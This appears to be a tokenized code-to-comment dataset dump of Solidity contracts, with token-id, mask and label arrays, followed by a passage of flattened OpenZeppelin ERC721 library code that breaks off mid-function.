-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0xd36C857eBE80EbE99CC05Ab3D0867094A0618dAa/sources/shummas.sol
* @dev Sets the values for {name} and {symbol}. The defaut value of {decimals} is 18. To select a different value for {decimals} you should overload it. All two of these values are immutable: they can only be set once during construction./
constructor () { _name = '1StemCell'; _symbol = '1STEM'; _totalSupply= 10000000000 *(10**decimals()); _balances[owner()]=_totalSupply; emit Transfer(address(0),owner(),_totalSupply); }
14,303,146
[ 1, 2785, 326, 924, 364, 288, 529, 97, 471, 288, 7175, 5496, 1021, 443, 507, 322, 460, 434, 288, 31734, 97, 353, 6549, 18, 2974, 2027, 279, 3775, 460, 364, 288, 31734, 97, 1846, 1410, 30402, 518, 18, 4826, 2795, 434, 4259, 924, 854, 11732, 30, 2898, 848, 1338, 506, 444, 3647, 4982, 16171, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1832, 288, 203, 3639, 389, 529, 273, 296, 21, 28771, 4020, 13506, 203, 3639, 389, 7175, 273, 296, 21, 10765, 13506, 203, 3639, 389, 4963, 3088, 1283, 33, 2130, 12648, 380, 12, 2163, 636, 31734, 10663, 203, 3639, 389, 70, 26488, 63, 8443, 1435, 65, 33, 67, 4963, 3088, 1283, 31, 203, 540, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 8443, 9334, 67, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0xF487962e33787366080D6962347B01ceaFB0e027/sources/browser/JTranchesDeployer.sol
* @dev Internal function that burns an amount of the token of a given account. Update pointsCorrection to keep funds unchanged. @param value The amount that will be burnt./
function burn(uint256 value) external override { super._burn(msg.sender, value); }
16,261,965
[ 1, 3061, 445, 716, 18305, 87, 392, 3844, 434, 326, 1147, 434, 279, 864, 2236, 18, 2315, 3143, 20884, 358, 3455, 284, 19156, 14827, 18, 225, 460, 1021, 3844, 716, 903, 506, 18305, 88, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 18305, 12, 11890, 5034, 460, 13, 3903, 3849, 288, 203, 202, 202, 9565, 6315, 70, 321, 12, 3576, 18, 15330, 16, 460, 1769, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x043c609B65357aa339d081A7c8F41e218245890E/sources/DigitalaxGarmentCollection.sol
@notice the child ERC1155 strand tokens
IDigitalaxMaterials public materials;
8,511,862
[ 1, 5787, 1151, 4232, 39, 2499, 2539, 16706, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1599, 360, 7053, 651, 11790, 87, 1071, 31824, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, 